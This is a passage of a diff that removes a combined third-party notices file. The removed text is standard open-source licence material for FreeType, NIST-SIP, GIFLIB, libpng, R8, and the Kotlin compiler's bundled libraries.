-
-3. Advertising
---------------
-
-  Neither the  FreeType authors and  contributors nor you  shall use
-  the name of the  other for commercial, advertising, or promotional
-  purposes without specific prior written permission.
-
-  We suggest,  but do not require, that  you use one or  more of the
-  following phrases to refer  to this software in your documentation
-  or advertising  materials: `FreeType Project',  `FreeType Engine',
-  `FreeType library', or `FreeType Distribution'.
-
-  As  you have  not signed  this license,  you are  not  required to
-  accept  it.   However,  as  the FreeType  Project  is  copyrighted
-  material, only  this license, or  another one contracted  with the
-  authors, grants you  the right to use, distribute,  and modify it.
-  Therefore,  by  using,  distributing,  or modifying  the  FreeType
-  Project, you indicate that you understand and accept all the terms
-  of this license.
-
-4. Contacts
------------
-
-  There are two mailing lists related to FreeType:
-
-    o freetype@nongnu.org
-
-      Discusses general use and applications of FreeType, as well as
-      future and  wanted additions to the  library and distribution.
-      If  you are looking  for support,  start in  this list  if you
-      haven't found anything to help you in the documentation.
-
-    o freetype-devel@nongnu.org
-
-      Discusses bugs,  as well  as engine internals,  design issues,
-      specific licenses, porting, etc.
-
-  Our home page can be found at
-
-    http://www.freetype.org
-
-
---- end of FTL.TXT ---
-
-======================================================================
-external/nist-sip/NOTICE
-
-/*
-***********************************************************************
-* The following applies to the packages "gov.nist", "test" and 
-* "tools" and all subpackages thereof
-***********************************************************************
-*
-* Conditions Of Use 
-* 
-* This software was developed by employees of the National Institute of
-* Standards and Technology (NIST), and others. 
-* This software has been contributed to the public domain. 
-* Pursuant to title 15 Untied States Code Section 105, works of NIST
-* employees are not subject to copyright protection in the United States
-* and are considered to be in the public domain. 
-* As a result, a formal license is not needed to use this software.
-* 
-* This software is provided "AS IS."  
-* NIST MAKES NO WARRANTY OF ANY KIND, EXPRESS, IMPLIED
-* OR STATUTORY, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTY OF
-* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT
-* AND DATA ACCURACY.  NIST does not warrant or make any representations
-* regarding the use of the software or the results thereof, including but
-* not limited to the correctness, accuracy, reliability or usefulness of
-* this software.
-* 
-* 
-*/
-
-======================================================================
-external/giflib/NOTICE
-
-The GIFLIB distribution is Copyright (c) 1997  Eric S. Raymond
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
-
-======================================================================
-external/libpng/LICENSE
-
-COPYRIGHT NOTICE, DISCLAIMER, and LICENSE
-=========================================
-
-PNG Reference Library License version 2
----------------------------------------
-
- * Copyright (c) 1995-2019 The PNG Reference Library Authors.
- * Copyright (c) 2018-2019 Cosmin Truta.
- * Copyright (c) 2000-2002, 2004, 2006-2018 Glenn Randers-Pehrson.
- * Copyright (c) 1996-1997 Andreas Dilger.
- * Copyright (c) 1995-1996 Guy Eric Schalnat, Group 42, Inc.
-
-The software is supplied "as is", without warranty of any kind,
-express or implied, including, without limitation, the warranties
-of merchantability, fitness for a particular purpose, title, and
-non-infringement.  In no event shall the Copyright owners, or
-anyone distributing the software, be liable for any damages or
-other liability, whether in contract, tort or otherwise, arising
-from, out of, or in connection with the software, or the use or
-other dealings in the software, even if advised of the possibility
-of such damage.
-
-Permission is hereby granted to use, copy, modify, and distribute
-this software, or portions hereof, for any purpose, without fee,
-subject to the following restrictions:
-
- 1. The origin of this software must not be misrepresented; you
-    must not claim that you wrote the original software.  If you
-    use this software in a product, an acknowledgment in the product
-    documentation would be appreciated, but is not required.
-
- 2. Altered source versions must be plainly marked as such, and must
-    not be misrepresented as being the original software.
-
- 3. This Copyright notice may not be removed or altered from any
-    source or altered source distribution.
-
-
-PNG Reference Library License version 1 (for libpng 0.5 through 1.6.35)
------------------------------------------------------------------------
-
-libpng versions 1.0.7, July 1, 2000, through 1.6.35, July 15, 2018 are
-Copyright (c) 2000-2002, 2004, 2006-2018 Glenn Randers-Pehrson, are
-derived from libpng-1.0.6, and are distributed according to the same
-disclaimer and license as libpng-1.0.6 with the following individuals
-added to the list of Contributing Authors:
-
-    Simon-Pierre Cadieux
-    Eric S. Raymond
-    Mans Rullgard
-    Cosmin Truta
-    Gilles Vollant
-    James Yu
-    Mandar Sahastrabuddhe
-    Google Inc.
-    Vadim Barkov
-
-and with the following additions to the disclaimer:
-
-    There is no warranty against interference with your enjoyment of
-    the library or against infringement.  There is no warranty that our
-    efforts or the library will fulfill any of your particular purposes
-    or needs.  This library is provided with all faults, and the entire
-    risk of satisfactory quality, performance, accuracy, and effort is
-    with the user.
-
-Some files in the "contrib" directory and some configure-generated
-files that are distributed with libpng have other copyright owners, and
-are released under other open source licenses.
-
-libpng versions 0.97, January 1998, through 1.0.6, March 20, 2000, are
-Copyright (c) 1998-2000 Glenn Randers-Pehrson, are derived from
-libpng-0.96, and are distributed according to the same disclaimer and
-license as libpng-0.96, with the following individuals added to the
-list of Contributing Authors:
-
-    Tom Lane
-    Glenn Randers-Pehrson
-    Willem van Schaik
-
-libpng versions 0.89, June 1996, through 0.96, May 1997, are
-Copyright (c) 1996-1997 Andreas Dilger, are derived from libpng-0.88,
-and are distributed according to the same disclaimer and license as
-libpng-0.88, with the following individuals added to the list of
-Contributing Authors:
-
-    John Bowler
-    Kevin Bracey
-    Sam Bushell
-    Magnus Holmgren
-    Greg Roelofs
-    Tom Tanner
-
-Some files in the "scripts" directory have other copyright owners,
-but are released under this license.
-
-libpng versions 0.5, May 1995, through 0.88, January 1996, are
-Copyright (c) 1995-1996 Guy Eric Schalnat, Group 42, Inc.
-
-For the purposes of this copyright and license, "Contributing Authors"
-is defined as the following set of individuals:
-
-    Andreas Dilger
-    Dave Martindale
-    Guy Eric Schalnat
-    Paul Schmidt
-    Tim Wegner
-
-The PNG Reference Library is supplied "AS IS".  The Contributing
-Authors and Group 42, Inc. disclaim all warranties, expressed or
-implied, including, without limitation, the warranties of
-merchantability and of fitness for any purpose.  The Contributing
-Authors and Group 42, Inc. assume no liability for direct, indirect,
-incidental, special, exemplary, or consequential damages, which may
-result from the use of the PNG Reference Library, even if advised of
-the possibility of such damage.
-
-Permission is hereby granted to use, copy, modify, and distribute this
-source code, or portions hereof, for any purpose, without fee, subject
-to the following restrictions:
-
- 1. The origin of this source code must not be misrepresented.
-
- 2. Altered versions must be plainly marked as such and must not
-    be misrepresented as being the original source.
-
- 3. This Copyright notice may not be removed or altered from any
-    source or altered source distribution.
-
-The Contributing Authors and Group 42, Inc. specifically permit,
-without fee, and encourage the use of this source code as a component
-to supporting the PNG file format in commercial products.  If you use
-this source code in a product, acknowledgment is not required but would
-be appreciated.
-
-======================================================================
-prebuilts/r8/NOTICE
-
-Copyright (c) 2016, the R8 project authors.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-* Redistributions of source code must retain the above copyright notice, this
-  list of conditions and the following disclaimer.
-
-* Redistributions in binary form must reproduce the above copyright notice,
-  this list of conditions and the following disclaimer in the documentation
-  and/or other materials provided with the distribution.
-
-* Neither the name of Google Inc. nor the names of its
-  contributors may be used to endorse or promote products derived from
-  this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
-OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-======================================================================
-external/kotlinc/LICENSE
-
-/*
- * Copyright 2010-2017 JetBrains s.r.o.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
---------------------------------------------------------------------------------
-args4j_LICENSE.txt:
-The MIT License
-
-Copyright (c) 2003, Kohsuke Kawaguchi
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
-
---------------------------------------------------------------------------------
-asm_license.txt:
-
- ASM: a very small and fast Java bytecode manipulation framework
- Copyright (c) 2000-2005 INRIA, France Telecom
- All rights reserved.
-
- Redistribution and use in source and binary forms, with or without
- modification, are permitted provided that the following conditions
- are met:
- 1. Redistributions of source code must retain the above copyright
-    notice, this list of conditions and the following disclaimer.
- 2. Redistributions in binary form must reproduce the above copyright
-    notice, this list of conditions and the following disclaimer in the
-    documentation and/or other materials provided with the distribution.
- 3. Neither the name of the copyright holders nor the names of its
-    contributors may be used to endorse or promote products derived from
-    this software without specific prior written permission.
-
- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
- LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
- CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
- SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
- INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
- CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
- THE POSSIBILITY OF SUCH DAMAGE.
-
---------------------------------------------------------------------------------
-closure-compiler_LICENSE.txt:
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright [yyyy] [name of copyright owner]
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
---------------------------------------------------------------------------------
-dart_LICENSE.txt:
-This license applies to all parts of Dart that are not externally
-maintained libraries. The external maintained libraries used by
-Dart are:
-
-7-Zip - in third_party/7zip
-JSCRE - in runtime/third_party/jscre
-Ant - in third_party/apache_ant
-args4j - in third_party/args4j
-bzip2 - in third_party/bzip2
-dromaeo - in samples/third_party/dromaeo
-Eclipse - in third_party/eclipse
-gsutil = in third_party/gsutil
-Guava - in third_party/guava
-hamcrest - in third_party/hamcrest
-Httplib2 - in samples/third_party/httplib2
-JSON - in third_party/json
-JUnit - in third_party/junit
-Oauth - in samples/third_party/oauth2client
-Rhino - in third_party/rhino
-weberknecht - in third_party/weberknecht
-
-The libraries may have their own licenses; we recommend you read them,
-as their terms may differ from the terms below.
-
-Copyright 2012, the Dart project authors. All rights reserved.
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-    * Redistributions of source code must retain the above copyright
-      notice, this list of conditions and the following disclaimer.
-    * Redistributions in binary form must reproduce the above
-      copyright notice, this list of conditions and the following
-      disclaimer in the documentation and/or other materials provided
-      with the distribution.
-    * Neither the name of Google Inc. nor the names of its
-      contributors may be used to endorse or promote products derived
-      from this software without specific prior written permission.
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
---------------------------------------------------------------------------------
-guava_license.txt:
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright [yyyy] [name of copyright owner]
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
---------------------------------------------------------------------------------
-jshashtable_license.txt:
-/**
- * Copyright 2010 Tim Down.
- *
